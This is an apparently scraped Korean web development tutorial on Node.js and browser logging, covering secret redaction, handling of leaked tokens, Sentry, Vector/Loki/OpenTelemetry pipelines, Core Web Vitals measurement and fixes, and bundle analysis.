로거를 바꾸기 전에 이 실험이 먼저입니다 — 실제로 원인은 대개 ③ 의 큰 객체 하나입니다.
sync: false 나 워커를 고민합니다.
비동기는 유실과 맞바꾸는 것이니 flush 와 drop 을 챙기고,
핫 패스에서는 레벨 확인 · 모아서 찍기 · 큰 객체 금지 셋을 지킵니다.민감정보 — redact 는 마지막 그물이 아니라 두 번째 그물입니다
로그로 새는 토큰은 수집기 · 백업 · 대시보드 캐시로 자동 복제됩니다. 지우기가 사실상 불가능합니다.
그래서 “새면 지운다”가 아니라 “애초에 안 담기게” 설계하고, redact 는 그 다음 겹으로 둡니다.
pino redact — 경로로 가리기
import pino from 'pino';
export const logger = pino({
redact: {
paths: [
// 요청 객체를 통째로 찍을 때 새는 자리 (pino-http 의 req 직렬화기)
'req.headers.authorization',
'req.headers.cookie',
'req.headers["x-api-key"]', // 하이픈이 든 키는 대괄호로
// 응답 · 바깥 호출 에러 — axios 에러는 config.headers 를 들고 옵니다
'err.config.headers.Authorization',
'err.response.data.token',
// 우리 도메인 객체
'user.email', 'user.phone',
'body.password', 'body.card.number', 'body.card.cvc',
// 와일드카드 — * 는 "한 단계" 만 뜻합니다
'*.password', // 최상위 아무 키 아래의 password
'orders[*].customer.email', // 배열 요소마다
],
censor: '[REDACTED]', // 기본값은 '[Redacted]'. remove: true 면 키째 지웁니다
},
});
logger.info({ user: { id: 'u_1', email: 'a@b.c' }, body: { password: 'x' } }, 'signup');
// {"user":{"id":"u_1","email":"[REDACTED]"},"body":{"password":"[REDACTED]"},...}
logger.info(`token=${t}`) 처럼
문자열 안에 녹인 값은 못 가립니다. 그리고 경로는 정확한 깊이여야 합니다:
'*.password' 는 body.user.password 를 못 잡습니다(두 단계).
키 이름이 바뀌거나 자리가 바뀌면 조용히 새기 시작합니다 — 이게 “두 번째 겹”인 이유입니다.
실제로 새는 경로 여섯 가지와 막는 법
| 이렇게 찍으면 | 무엇이 새나 | 대신 |
|---|---|---|
log.info({ req }) | Authorization · Cookie 헤더 전부 | 직렬화기로 method·url 만(lg06) |
log.error({ err }) (axios · fetch 래퍼) | err.config.headers 의 토큰 · 요청 본문 | redact 경로 + 우리 에러로 감싸기 |
log.info({ user }) | 이메일 · 전화 · 주소 · 해시 안 된 값 | { userId: user.id } 만 |
log.info({ url: req.originalUrl }) | ?token= · ?code= 쿼리 문자열 | req.path 만, 쿼리는 키 이름만 |
log.debug({ sql, params }) | 바인딩 파라미터 안의 개인정보 | sql 과 params.length |
log.info(process.env) · 설정 덤프 | DB 비밀번호 · API 키 통째로 | 키 이름 목록만, 값은 절대 |
new Error(`login failed for ${email}`))이 있으면 err.message 로 샙니다.
메시지는 고정 문구, 값은 에러 객체의 필드(err.userId)에 두고 그 필드를 redact 합니다.
한 단계 더 — winston 과 “값의 모양”으로 가리기 🟡 중급
winston 은 format 한 단계로
import winston from 'winston';
const { combine, timestamp, json, format } = winston.format;
const SECRET_KEYS = new Set(['password', 'authorization', 'cookie', 'token', 'cvc']);
// 키 이름으로 재귀 마스킹 — 깊이와 상관없이 잡습니다 (대신 느립니다)
function mask(v: unknown, depth = 0): unknown {
if (depth > 6 || v === null || typeof v !== 'object') return v;
if (Array.isArray(v)) return v.map((x) => mask(x, depth + 1));
const out: Record<string, unknown> = {};
for (const [k, val] of Object.entries(v as Record<string, unknown>)) {
out[k] = SECRET_KEYS.has(k.toLowerCase()) ? '[REDACTED]' : mask(val, depth + 1);
}
return out;
}
// ★ info 를 고쳐서 그대로 돌려줍니다 — 새 객체를 돌려주면 winston 내부의
// Symbol(level) 이 빠져서 트랜스포트가 줄을 통째로 버립니다 (아무것도 안 찍힘)
const redact = format((info) => {
for (const k of Object.keys(info)) {
info[k] = SECRET_KEYS.has(k.toLowerCase()) ? '[REDACTED]' : mask(info[k], 1);
}
return info;
});
export const logger = winston.createLogger({
format: combine(redact(), timestamp(), json()), // ★ redact 가 json() 앞
transports: [new winston.transports.Console()],
});
redact 는 경로를 미리 컴파일해 두므로 훨씬 쌉니다.
winston 을 쓴다면 이 비용이 lg04 의 “단계마다 객체” 위에 하나 더 얹히는 셈입니다.
모양으로 잡기 — JWT · 카드번호 · 이메일
// 키 이름을 모를 때의 마지막 수단 — 값의 "모양"으로 찾습니다
const PATTERNS: Array<[RegExp, string]> = [
[/eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}/g, '[JWT]'],
[/\b(?:\d[ -]?){13,19}\b/g, '[CARD]'], // 카드번호 후보
[/[A-Z0-9._%+-]+@[A-Z0-9.-]+\.[A-Z]{2,}/gi, '[EMAIL]'],
[/Bearer\s+[A-Za-z0-9._~+/-]+=*/g, 'Bearer [REDACTED]'],
];
export function scrub(s: string): string {
let out = s;
for (const [re, rep] of PATTERNS) out = out.replace(re, rep);
return out;
}
// pino 에서는 msg(마지막 문자열 인자)에만 적용 — 모든 줄에 정규식 넷을 돌리는 비용을 감수하는 것
const logger = pino({
hooks: {
logMethod(args, method) {
const last = args.length - 1;
if (typeof args[last] === 'string') args[last] = scrub(args[last]);
return method.apply(this, args);
},
},
});
[CARD] 로 바뀌고,
JWT 가 아닌 base64 도 잡힙니다. 동기 정규식 넷이 모든 줄에 돌면 lg09 의 붉은 구간이 늘어납니다.
이 그물은 수집기 쪽(Vector · Fluent Bit)에 두는 편이 앱에 부담이 없습니다(lg12).
실무에선 이렇게 — 이미 새 버린 날의 절차 🔴 실무
순서가 중요합니다 — 지우기보다 무효화가 먼저
# ① 무엇이 · 언제부터 · 어느 필드로 샜는지 범위를 잡습니다
{service="checkout-api"} |= "eyJ" | json | line_format "{{.time}} {{.reqId}}" # Loki
# ② 새어 나간 비밀을 즉시 무효화 — 지우는 것보다 이게 먼저입니다
# (토큰 회전 · API 키 재발급 · 세션 강제 만료) ← 복제본 어딘가에 남아 있다고 가정
# ③ 저장소에서 지웁니다 — 저장소마다 방법이 다릅니다
# Loki: 삭제 API (compactor 에서 retention·deletion 이 켜져 있어야 합니다)
# -G: 아래 값들을 본문이 아니라 URL 쿼리로 붙입니다 (삭제 API 는 쿼리 파라미터를 읽습니다)
curl -G -X POST 'http://loki:3100/loki/api/v1/delete' \
--data-urlencode 'query={service="checkout-api"} |= "eyJ"' \
--data-urlencode 'start=2026-08-14T00:00:00Z' --data-urlencode 'end=2026-08-15T00:00:00Z'
# OpenSearch / Elasticsearch
POST logs-*/_delete_by_query
{ "query": { "match_phrase": { "msg": "eyJ" } } }
# ④ 복제본 목록을 확인합니다 — 백업 · 대시보드 캐시 · 개발자 노트북의 로그 파일 · Slack 알림 본문
# ⑤ 코드 고치기 — redact 경로 추가가 아니라 "통째로 넘긴 곳" 을 필드로 바꿉니다
eyJ · Bearer 같은 패턴을 테스트 로그 출력에서 검사하는 한 줄.
셋 다 반나절이면 됩니다.
redact(경로 기반 · 문자열 안은 못 가림),
셋째가 수집기 정규식, 넷째가 보관·권한입니다. 이미 샜다면 지우기보다 무효화가 먼저입니다.브라우저 — 로그 파일이 없는 곳에서는 사건을 보냅니다
브라우저에는 stdout 도 파일도 없습니다. 사용자 기기에서 일어난 일은 네트워크로 보내야만 우리에게 옵니다. 그래서 브라우저 로깅은 “모든 줄을 남기기”가 아니라 “사건이 났을 때 그 앞뒤를 함께 보내기”입니다.
Sentry 붙이기 — 다섯 줄이면 시작됩니다
npm i @sentry/browser # React 면 @sentry/react, Next.js 면 @sentry/nextjs
// src/monitoring.ts — 앱의 가장 첫 import
import * as Sentry from '@sentry/browser';
Sentry.init({
dsn: import.meta.env.VITE_SENTRY_DSN,
release: `web@${import.meta.env.VITE_GIT_SHA}`, // ★ 소스맵과 짝을 맞추는 열쇠
environment: import.meta.env.MODE,
sendDefaultPii: false, // IP · 쿠키를 자동으로 붙이지 않습니다 (lg10)
tracesSampleRate: 0.1, // 성능 추적은 10% 만 — 비용
replaysOnErrorSampleRate: 1.0, // 에러가 난 세션만 화면 녹화
replaysSessionSampleRate: 0,
integrations: [
Sentry.browserTracingIntegration(),
Sentry.replayIntegration({ maskAllText: true, blockAllMedia: true }),
],
tracePropagationTargets: ['https://api.example.com'], // 이 호출에만 sentry-trace 헤더
// 보내기 직전 마지막 검문 — 여기서 걸러진 건 네트워크를 타지 않습니다
beforeSend(event) {
if (event.request?.url?.includes('token=')) event.request.url = '[scrubbed]';
return event;
},
});
// 로그인 뒤 — 내부 ID 만. 이메일은 넣지 않습니다
Sentry.setUser({ id: user.id });
Sentry.setTag('tenant', tenantId);
// 잡은 예외를 문맥과 함께
try { await pay(order); }
catch (err) {
Sentry.captureException(err, { tags: { flow: 'checkout' }, extra: { orderId: order.id } });
throw err;
}
fetch · console.* 호출이
SDK 안의 링 버퍼에 들어갑니다. 예외가 날 때만 마지막 100개가 딸려 갑니다.
그래서 lg01 에서 “Sentry 를 쓰면 console 을 지우지 말라”고 한 것입니다 — 그게 발자국이 됩니다.
자체 수집 — 의존성 없는 얇은 래퍼
// src/blog.ts — 브라우저용 로거. 모아서, 떠날 때, 비콘으로
type Level = 'info' | 'warn' | 'error';
const queue: object[] = [];
const ctx = { sessionId: crypto.randomUUID(), release: __GIT_SHA__ };
export function blog(level: Level, fields: Record<string, unknown>, msg: string) {
queue.push({ level, time: Date.now(), msg, ...ctx, ...fields });
if (import.meta.env.DEV) console[level === 'info' ? 'log' : level](msg, fields);
if (queue.length >= 20 || level === 'error') flush();
}
function flush() {
if (!queue.length) return;
const body = JSON.stringify(queue.splice(0));
// ★ 탭이 닫히는 중에도 살아남는 두 가지 방법
if (!navigator.sendBeacon('/api/client-logs', new Blob([body], { type: 'application/json' }))) {
fetch('/api/client-logs', { method: 'POST', body, keepalive: true }).catch(() => {});
}
}
// 페이지를 떠날 때 남은 것을 밀어냅니다 — unload 는 모바일에서 안 옵니다
document.addEventListener('visibilitychange', () => {
if (document.visibilityState === 'hidden') flush();
});
// 잡히지 않은 오류 두 종류
window.addEventListener('error', (e) =>
blog('error', { message: e.message, src: e.filename, line: e.lineno }, 'uncaught'));
window.addEventListener('unhandledrejection', (e) =>
blog('error', { reason: String(e.reason) }, 'unhandled rejection'));
/api/client-logs 는 신뢰하면 안 되는 입력입니다 —
누구나 아무 JSON 이나 보낼 수 있습니다. 크기 제한 · 속도 제한 · 스키마 검증을 걸고,
받은 값은 필드로 골라서 서버 로거에 넘기세요. 클라이언트가 보낸 문자열을
그대로 msg 에 넣으면 로그 위조(log injection) 가 됩니다.
한 단계 더 — 소스맵과 “Script error.” 🟡 중급
축소된 코드의 스택을 원래 줄로
// vite.config.ts — 빌드할 때 소스맵을 Sentry 에 올리고, 배포물에는 안 넣습니다
import { defineConfig } from 'vite';
import { sentryVitePlugin } from '@sentry/vite-plugin';
export default defineConfig({
build: { sourcemap: 'hidden' }, // .map 은 만들되 번들에 //# sourceMappingURL 을 안 씁니다
plugins: [
sentryVitePlugin({
org: 'acme', project: 'web',
authToken: process.env.SENTRY_AUTH_TOKEN, // CI 비밀 — 절대 커밋하지 않습니다
release: { name: `web@${process.env.GIT_SHA}` }, // ★ init 의 release 와 같아야 합니다
sourcemaps: { filesToDeleteAfterUpload: ['./dist/**/*.map'] },
}),
],
});
a.js:1:48213 으로만 보입니다 —
가장 흔한 “Sentry 가 쓸모없어요”의 원인입니다. init 과 플러그인의
release 를 같은 환경변수에서 읽게 하면 끝납니다.
hidden 소스맵은 서버에는 올리고 사용자에게는 내보내지 않는 절충입니다.
소음 걸러내기 — 진짜 오류만 남기기
Sentry.init({
// ...
ignoreErrors: [
'ResizeObserver loop', // 브라우저가 내는 무해한 경고
/^Non-Error promise rejection/, // 값을 reject 한 것 — 대개 우리 코드가 아님
'Network Error', // 오프라인 · 광고 차단기
],
denyUrls: [
/extensions\//i, /^chrome-extension:\/\//i, // 확장 프로그램이 낸 오류
/translate\.googleapis\.com/i,
],
});
// "Script error." 한 줄만 오고 스택이 없다면 —
// CDN 의 스크립트가 다른 출처라서 브라우저가 내용을 숨긴 것입니다
// <script src="https://cdn.example.com/app.js" crossorigin="anonymous">
// + CDN 응답에 Access-Control-Allow-Origin 헤더 → 스택이 보이기 시작합니다
실무에선 이렇게 — 무엇을 쓰나 · 서버와 어떻게 잇나 🔴 실무
| 도구 | 주는 것 | 고르는 순간 |
|---|---|---|
| console 만 | 개발자 화면에서만 보임. 사용자 기기의 일은 아무것도 모름 | 개발 중 · 내부 도구 |
| 자체 비콘 래퍼 | 업무 사건(checkout.step)을 우리 로그 파이프라인으로 | 제품 분석과 합치고 싶을 때 · 데이터 반출이 안 될 때 |
| Sentry | 예외 + 발자국 + 소스맵 복원 + 세션 리플레이. 사실상 표준 | SPA 라면 기본값 |
| RUM (Datadog RUM · Grafana Faro) | 성능 지표(LCP · 지연) + 오류 + 세션. 서버 APM 과 한 화면 | 이미 그 벤더의 서버 APM 을 쓸 때 |
| OpenTelemetry 브라우저 | 추적은 쓸 만하고, 로그 API 는 아직 자리 잡는 중 | 벤더 중립이 최우선일 때 — 문서를 먼저 확인 |
tracePropagationTargets 에 맞는 요청에
sentry-trace 헤더를 붙입니다. 서버 미들웨어에서 그 값을 읽어 lg07 의 문맥에
traceId 로 넣으면, 브라우저 오류 화면에서 클릭 한 번으로 서버 로그가 열립니다.
반대로 응답 헤더에 x-request-id 를 돌려주면(lg06) 사용자 오류 화면에 그 값을 보여 줄 수 있습니다.
Sentry.setUser 에 이메일 넣기 ③ 리플레이에서 maskAllText: false
④ 에러 메시지에 사용자 입력값 넣기. lg10 의 규칙이 브라우저에서는 법적 문제가 됩니다.
release 를 맞춰야 스택이 읽힙니다.
자체 수집은 비콘으로 모아서 보내되 서버는 그 입력을 신뢰하지 않습니다.
sentry-trace 헤더 하나가 브라우저와 서버 로그를 잇습니다.stdout 을 떠나서 — 수집기 · 저장소 · OpenTelemetry
앱이 할 일은 stdout 에 JSON 한 줄까지입니다. 그 줄이 대시보드에 닿기까지 서너 단계가 더 있는데, 전부 앱 바깥의 일입니다. 이 경계를 지키면 로거를 바꿔도, 저장소를 바꿔도 서로 모릅니다.
컨테이너에서 앱이 지킬 것 — 파일을 만들지 않습니다
# Dockerfile — 로그 관련 설정은 없습니다. 그게 정답입니다
FROM node:24-alpine
WORKDIR /app
COPY dist ./dist
COPY node_modules ./node_modules
ENV NODE_ENV=production LOG_LEVEL=info
# ★ pino-pretty 도, 파일 경로도 없습니다 (Dockerfile 주석은 줄 맨 앞에만 — 끝에 붙이면 CMD 가 깨집니다)
CMD ["node", "dist/main.js"]
# 확인 — 컨테이너 밖에서 그대로 보입니다
docker logs -f --since 5m my-api | jq -c 'select(.level=="error")'
kubectl logs deploy/checkout-api --since=10m | jq -c 'select(.reqId=="req_01J8Q")'
# 회전은 런타임이 합니다 — 앱이 winston-daily-rotate-file 을 돌리면 이중 회전이 됩니다 (lg04)
# docker: --log-opt max-size=50m --log-opt max-file=5
# kubelet: containerLogMaxSize / containerLogMaxFiles
에이전트 — Vector 로 JSON 풀어서 Loki 로
# vector.toml — 노드마다 하나 (DaemonSet)
[sources.k8s]
type = "kubernetes_logs" # /var/log/containers 를 읽고 pod 메타를 붙입니다
[transforms.parse]
type = "remap"
inputs = ["k8s"]
source = '''
parsed, err = parse_json(.message) # pino 가 쓴 한 줄
if err == null {
. = merge(., object!(parsed)) # level · reqId · msg 가 필드가 됩니다
del(.message)
} # JSON 이 아닌 줄(다른 도구)은 그대로 둡니다
.level = downcase(string(.level) ?? "info") # 없거나 문자열이 아니면 "info"
'''
[transforms.scrub] # lg10 의 셋째 겹 — 앱이 놓친 토큰을 여기서
type = "remap"
inputs = ["parse"]
source = '''
.msg = replace(string(.msg) ?? "", r'eyJ[\w-]+\.[\w-]+\.[\w-]+', "[JWT]")
'''
[sinks.loki]
type = "loki"
inputs = ["scrub"]
endpoint = "http://loki:3100"
encoding.codec = "json"
labels.service = "{{ service }}" # ★ 라벨은 값의 종류가 적은 것만
labels.level = "{{ level }}"
labels.env = "{{ env }}" # reqId 를 라벨로 두면 Loki 가 죽습니다
reqId · userId · url)를 라벨로 두면 스트림이 폭발합니다.
그런 값은 본문 JSON 에 두고 | json | reqId="..." 로 거릅니다(lg07).
OpenSearch 는 반대로 필드가 전부 색인되니 매핑 폭발을 조심합니다(lg05).
한 단계 더 — OpenTelemetry 로 로그와 트레이스 잇기 🟡 중급
최소 목표 — 로그 줄에 traceId 만 심기
npm i @opentelemetry/sdk-node @opentelemetry/auto-instrumentations-node \
@opentelemetry/exporter-trace-otlp-http
// otel.ts — 앱 코드보다 먼저 실행되어야 합니다 (아래 실행 명령 참고)
import { NodeSDK } from '@opentelemetry/sdk-node';
import { getNodeAutoInstrumentations } from '@opentelemetry/auto-instrumentations-node';
import { OTLPTraceExporter } from '@opentelemetry/exporter-trace-otlp-http';
const sdk = new NodeSDK({
serviceName: 'checkout-api',
traceExporter: new OTLPTraceExporter({ url: 'http://otel-collector:4318/v1/traces' }),
instrumentations: [getNodeAutoInstrumentations({
// ★ pino 계측 — 모든 로그 줄에 trace_id · span_id 를 자동으로 붙입니다
'@opentelemetry/instrumentation-pino': { enabled: true },
'@opentelemetry/instrumentation-fs': { enabled: false }, // 소음
})],
});
sdk.start();
process.on('SIGTERM', () => sdk.shutdown().finally(() => process.exit(0)));
# CommonJS 빌드
node --require ./dist/otel.js dist/main.js
# ESM 빌드 — import 훅이 필요합니다. 계측 문서의 ESM 절을 그대로 따르세요
node --import ./dist/otel.mjs dist/main.js
# 이제 로그 한 줄에 이렇게 붙어 나옵니다
# {"level":"info","trace_id":"4bf92f3577b34da6a3ce929d0e0e4736","span_id":"00f067aa0ba902b7",...}
trace_id 를 클릭하면
Tempo 의 트레이스가 열리고, 트레이스에서 다시 로그로 돌아옵니다.
lg07 의 reqId 와 병행해도 됩니다 — mixin 에서
trace.getActiveSpan()?.spanContext().traceId 를 꺼내 traceId 로 넣으면 이름까지 통일됩니다.
로그 자체를 OTLP 로 보낼 것인가
| 경로 | 좋은 점 | 값 |
|---|---|---|
| stdout → 에이전트 (권장) | 앱과 분리 · 파일이 완충 · 에이전트가 죽어도 유실 적음 | 파이프라인이 한 단계 더 |
앱 → OTLP 직접pino-opentelemetry-transport | 로그 · 트레이스 · 지표가 한 파이프 · 컨테이너 밖(람다 · 엣지)에서 유리 | 네트워크가 막히면 앱 버퍼에 쌓임 · 죽을 때 유실 |
| 둘 다 | 이전 기간의 보험 | 저장 비용 두 배 — 짧게만 |
// 직접 보내야 할 때 — 워커 트랜스포트라 메인 스레드는 가볍습니다 (lg09)
const logger = pino({
transport: {
targets: [
{ target: 'pino/file', options: { destination: 1 } }, // stdout 도 유지
{ target: 'pino-opentelemetry-transport',
options: { resourceAttributes: { 'service.name': 'checkout-api' } } },
// OTEL_EXPORTER_OTLP_ENDPOINT 환경변수로 수집기 주소를 줍니다
],
},
});
실무에선 이렇게 — 알림과 비용 🔴 실무
로그로 알림 걸기 — 개수가 아니라 비율로
# Grafana 알림 규칙 (Loki · LogQL) — 5분간 error 비율이 2% 를 넘으면
- alert: CheckoutErrorRate
expr: |
sum(rate({service="checkout-api"} | json | level="error" [5m]))
/
sum(rate({service="checkout-api"} | json | event="http.request" [5m]))
> 0.02
for: 10m # 10분 지속될 때만 — 순간 튀는 건 무시
labels: { severity: page }
annotations:
summary: "checkout-api error ratio > 2%"
runbook: "https://wiki/runbooks/checkout-errors"
# 조사할 때 — 어떤 사건이 늘었나 (lg05 의 event 필드가 여기서 빛납니다)
# sum by (event) (count_over_time({service="checkout-api"} | json | level="error" [1h]))
for 로 지속 시간을 두세요. 그리고 lg05 의 “400 을 error 로 찍지 않기”가
안 지켜지면 이 알림은 처음부터 소음입니다.
비용 — 로그 요금은 GB 와 보관일의 곱입니다
| 줄이는 순서 | 효과 | 어디서 |
|---|---|---|
| ① 헬스체크 · 정적 파일 접근 로그 제거 | 줄 수의 절반 이상이 여기인 경우가 흔함 | lg06 silent |
② 운영 info · 표본만 debug | 자릿수 하나 | lg05 표본 추출 |
| ③ 필드 다이어트 | 줄 길이 — req 통째로 찍는 줄이 10배 큽니다 | lg06 직렬화기 |
| ④ 보관 계층 | 뜨거운 검색 7~14일, 그 뒤 객체 저장소로 | Loki retention · S3 수명 주기 |
| ⑤ 에이전트에서 샘플링 | 같은 msg 가 초당 수백 줄이면 1/10 만 | Vector sample 변환 |
sum by (service) (bytes_over_time({env="prod"}[24h])) 한 줄이면
어느 서비스가 하루에 몇 GB 를 쓰는지 나옵니다. 대개 한두 서비스가 전체의 대부분이고,
그 서비스의 한두 줄이 원인입니다. 전사 정책보다 그 두 줄을 고치는 게 빠릅니다.
console 은 편의 함수(lg01), 서버는 pino(lg02~03), 필드가 검색어(lg05),
요청 ID 는 저장소가 나르고(lg07), 타입으로 잠그고(lg08), 동기 쓰기를 피하고(lg09),
비밀은 애초에 안 담고(lg10), 브라우저는 사건을 보내고(lg11),
앱은 stdout 까지만, 그 뒤는 인프라(lg12). “로그를 왜 그렇게 찍었냐”에 이제 설계로 답할 수 있습니다.
배포한 다음 날
터지는 것들을
미리 막는다
튜토리얼의 화면은 내 노트북, 빠른 와이파이, 한 번의 클릭에서 돕니다. 실서비스는 느린 안드로이드 · 끊기는 지하철 · 두 번 누르는 손가락 · 악의적인 입력에서 돕니다. 이 탭은 그 차이에서 생기는 성능 · 장애 · 보안 이슈를 신입이 혼자 처리할 수 있게 측정법 → 원인 → 처방 순서로 정리했습니다. 문법은 다른 탭에 맡기고 여기서는 판단 기준과 절차만 다룹니다. 이 탭을 마치면 "사이트가 느려요", "가끔 엉뚱한 결과가 떠요", "에러가 났대요" 같은 제보를 받았을 때 어디부터 볼지 압니다.
Core Web Vitals — 재고 나서 고친다
"느리다"는 제보는 고칠 수 없습니다. 어느 페이지의 어떤 지표가, 몇 번째 백분위에서, 얼마인지가 있어야 고칩니다. 구글이 정한 세 지표 — LCP · INP · CLS — 가 그 공용어이고, 검색 순위에도 반영됩니다.
세 지표를 한 줄씩
| 지표 | 무엇을 재나 | 합격선 (p75) |
|---|---|---|
| LCP | 화면에서 가장 큰 이미지·글 덩어리가 그려진 시각. "다 떴다"의 체감 | ≤ 2.5 s |
| INP | 클릭·키 입력 후 다음 프레임이 그려지기까지. 방문 중 가장 나쁜 쪽에 가까운 값을 씁니다 | ≤ 200 ms |
| CLS | 사용자가 안 건드렸는데 요소가 밀린 정도의 합(가장 나쁜 5초 창) | ≤ 0.1 |
| TTFB | 보조 지표 — 서버가 첫 바이트를 줄 때까지. LCP 의 바닥 | ≤ 0.8 s 권장 |
랩 점수와 필드 값은 다른 물건입니다
| 랩 (Lighthouse · DevTools) | 필드 (실사용자) | |
|---|---|---|
| 어디서 | 내 PC, 정해진 조건 | 방문자 기기 전부 |
| INP | 못 잽니다 (아무도 클릭 안 함) → TBT 로 대신 | 잽니다 |
| 쓰임 | 고친 뒤 재현·비교 | 문제가 있는지 판정 |
| 출처 | DevTools Performance · PageSpeed | CrUX(구글 수집) · 내 RUM |
현장 수집 — web-vitals 로 실사용자 값을 모은다 🟡 중급
수집 코드 — 앱 진입점에서 한 번
// src/vitals.ts npm i web-vitals (v5 기준)
import type { Metric } from "web-vitals";
import { onCLS, onINP, onLCP, onTTFB } from "web-vitals/attribution";
type Row = {
name: Metric["name"]; value: number; rating: Metric["rating"];
id: string; page: string; target?: string;
};
const queue: Row[] = [];
const SAMPLE = Math.random() < 0.2; // ★ 20% 표본 — 트래픽 많으면 줄이기
function push(m: Metric, target?: string) {
if (!SAMPLE) return;
queue.push({
name: m.name, value: m.value, rating: m.rating, id: m.id,
page: location.pathname, // 쿼리스트링은 빼기(개인정보)
target, // "어느 요소 때문에"의 단서
});
}
// attribution 빌드는 원인 정보까지 줍니다 (조금 더 큼)
onLCP((m) => push(m, m.attribution.target)); // v4 까지는 element
onINP((m) => push(m, m.attribution.interactionTarget));
onCLS((m) => push(m, m.attribution.largestShiftTarget));
onTTFB((m) => push(m));
function flush() {
if (queue.length === 0) return;
const blob = new Blob([JSON.stringify(queue.splice(0))],
{ type: "application/json" });
// 탭을 닫는 순간에도 전송되는 방법
if (!navigator.sendBeacon("/rum/vitals", blob)) {
void fetch("/rum/vitals", { method: "POST", body: blob, keepalive: true });
}
}
// unload 가 아니라 visibilitychange — 모바일은 unload 가 안 올 때가 많습니다
addEventListener("visibilitychange", () => {
if (document.visibilityState === "hidden") flush();
});
/rum/vitals 처럼 내 도메인으로 받고 서버가 저장소로 넘깁니다.
다른 도메인에 JSON 비콘을 보내면 CORS 사전 요청이 붙어 닫히는 탭에서 유실됩니다.
모은 값을 읽는 법 — 평균 금지, p75
-- PostgreSQL · 지난 7일, 페이지 × 지표별 p75
SELECT page, name,
percentile_cont(0.75) WITHIN GROUP (ORDER BY value) AS p75,
count(*) AS n
FROM rum_vitals
WHERE ts > now() - interval '7 days'
GROUP BY page, name
HAVING count(*) >= 100 -- 표본이 적은 페이지는 판정 보류
ORDER BY name, p75 DESC;
읽는 순서 (매주 한 번, 10분)
1. 지표별로 p75 가 '나쁨' 인 페이지부터 ← 우선순위
2. 그 페이지의 target 상위 3개 ← 원인 요소
3. 기기 · 연결 종류로 쪼개 보기 (모바일만 나쁜가?)
4. 배포일 전후 비교 — 어느 배포에서 꺾였나
5. 고친 뒤 '필드 값' 이 바뀌는 데 최소 며칠 — 랩으로 먼저 확인
실무에선 이렇게 — 원인별 처방 🔴 실무
LCP · CLS — 대부분 HTML 과 CSS 에서 끝납니다
<!-- ① LCP 이미지: HTML 에 직접, 우선순위 높게, lazy 금지 -->
<img src="/hero.avif" width="1200" height="600" alt="여름 신상품"
fetchpriority="high" decoding="async">
<!-- ② CSS 배경 · 폰트처럼 늦게 발견되는 것은 미리 알려 주기 -->
<link rel="preload" as="image" href="/hero.avif" fetchpriority="high">
<link rel="preconnect" href="https://cdn.example.com" crossorigin>
<!-- ③ 첫 화면 밖 이미지만 lazy -->
<img src="/card-12.avif" width="320" height="240" alt="" loading="lazy">
/* CLS ① — width/height 속성 + 이 두 줄이면 자리가 미리 잡힙니다 */
img, video { max-width: 100%; height: auto; }
/* CLS ② — 나중에 채워지는 칸은 크기를 예약 */
.ad-slot { min-height: 250px; }
.thumb { aspect-ratio: 16 / 9; }
.skeleton { height: 72px; } /* 실제 행 높이와 같게 */
/* CLS ③ — 웹폰트 교체로 글줄이 밀리는 것 줄이기 */
@font-face {
font-family: "Pretendard";
src: url("/fonts/Pretendard.woff2") format("woff2");
font-display: swap;
}
/* CLS ④ — 움직임은 top/left 가 아니라 transform (밀림으로 안 셉니다) */
.toast { transform: translateY(-8px); transition: transform .2s; }
INP — 긴 작업을 쪼개 메인 스레드를 돌려준다
// 50ms 넘는 작업 하나가 그 사이의 모든 클릭을 막습니다
type Sched = { yield?: () => Promise<void> };
const sched = (globalThis as { scheduler?: Sched }).scheduler;
// Chrome 129+ 는 scheduler.yield, 나머지는 setTimeout 으로 대체
export const yieldToMain = (): Promise<void> =>
sched?.yield ? sched.yield() : new Promise((r) => setTimeout(r, 0));
export async function applyAll(rows: Row[]) {
let last = performance.now();
for (const row of rows) {
recalc(row);
if (performance.now() - last > 40) { // 40ms 마다 한 번 양보
await yieldToMain();
last = performance.now();
}
}
}
// React — 입력은 즉시, 무거운 목록은 뒤로 미루기
function Search({ all }: { all: Item[] }) {
const [q, setQ] = useState("");
const deferred = useDeferredValue(q); // 늦게 따라오는 값
const rows = useMemo(() => filter(all, deferred), [all, deferred]);
return (
<>
<input value={q} onChange={(e) => setQ(e.target.value)} />
<ResultList rows={rows} stale={q !== deferred} /> {/* memo 필수 */}
</>
);
}
| 증상 (필드 값) | 가장 흔한 원인 | 처방 |
|---|---|---|
| LCP 나쁨 · TTFB 도 큼 | 서버 렌더가 느림 · 캐시 없음 · 리다이렉트 연쇄 | CDN 캐시 · 리다이렉트 제거 · SSR 데이터 병렬화(▲ Next.js 탭 f11) |
| LCP 나쁨 · TTFB 정상 | LCP 이미지가 JS 로 삽입 · lazy 가 붙음 · 원본이 큼 | HTML 에 직접 · fetchpriority="high" · AVIF/WebP · srcset |
| INP 나쁨 · 특정 버튼 | 클릭 핸들러가 동기로 무거운 일 | 쪼개기(yieldToMain) · 결과 계산을 Web Worker 로 |
| INP 나쁨 · 입력창 | 키 입력마다 큰 목록 리렌더 | useDeferredValue · 가상 스크롤 · memo |
| INP 나쁨 · 전반적 | 서드파티 스크립트(태그 매니저 · 채팅 위젯) | 지연 로드 · async/defer · 정말 필요한지 제거 협상 |
| CLS 나쁨 | 크기 없는 이미지 · 늦게 뜨는 배너 · 폰트 교체 | width/height · 자리 예약 · font-display |
번들 다이어트 — 가장 큰 칸부터 의심한다
자바스크립트는 같은 크기의 이미지보다 비쌉니다. 받고 끝이 아니라 해석 · 컴파일 · 실행까지 해야 하고, 그동안 메인 스레드가 막혀 LCP 와 INP 가 같이 나빠집니다. 줄이는 일은 감이 아니라 지도를 펴는 것에서 시작합니다.
지도 펴기 — Vite 에 분석기 붙이기
// vite.config.ts npm i -D rollup-plugin-visualizer
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
import { visualizer } from "rollup-plugin-visualizer";
export default defineConfig(({ mode }) => ({
plugins: [
react(),
// 평소에는 끄고, 분석할 때만 — false 플러그인은 무시됩니다
mode === "analyze" &&
visualizer({
filename: "dist/stats.html",
template: "treemap", // sunburst · network 도 있음
gzipSize: true, // ★ 실제 전송량은 압축 후 크기
brotliSize: true,
open: true,
}),
],
build: { sourcemap: true },
}));
npx vite build --mode analyze # dist/stats.html 이 열립니다
# 번들러와 상관없이 — 소스맵만 있으면 됩니다
npx source-map-explorer "dist/assets/*.js"
# 패키지 하나가 얼마나 무거운지 설치 전에
# bundlephobia.com · pkg-size.dev 에서 이름으로 검색
지도를 읽는 순서
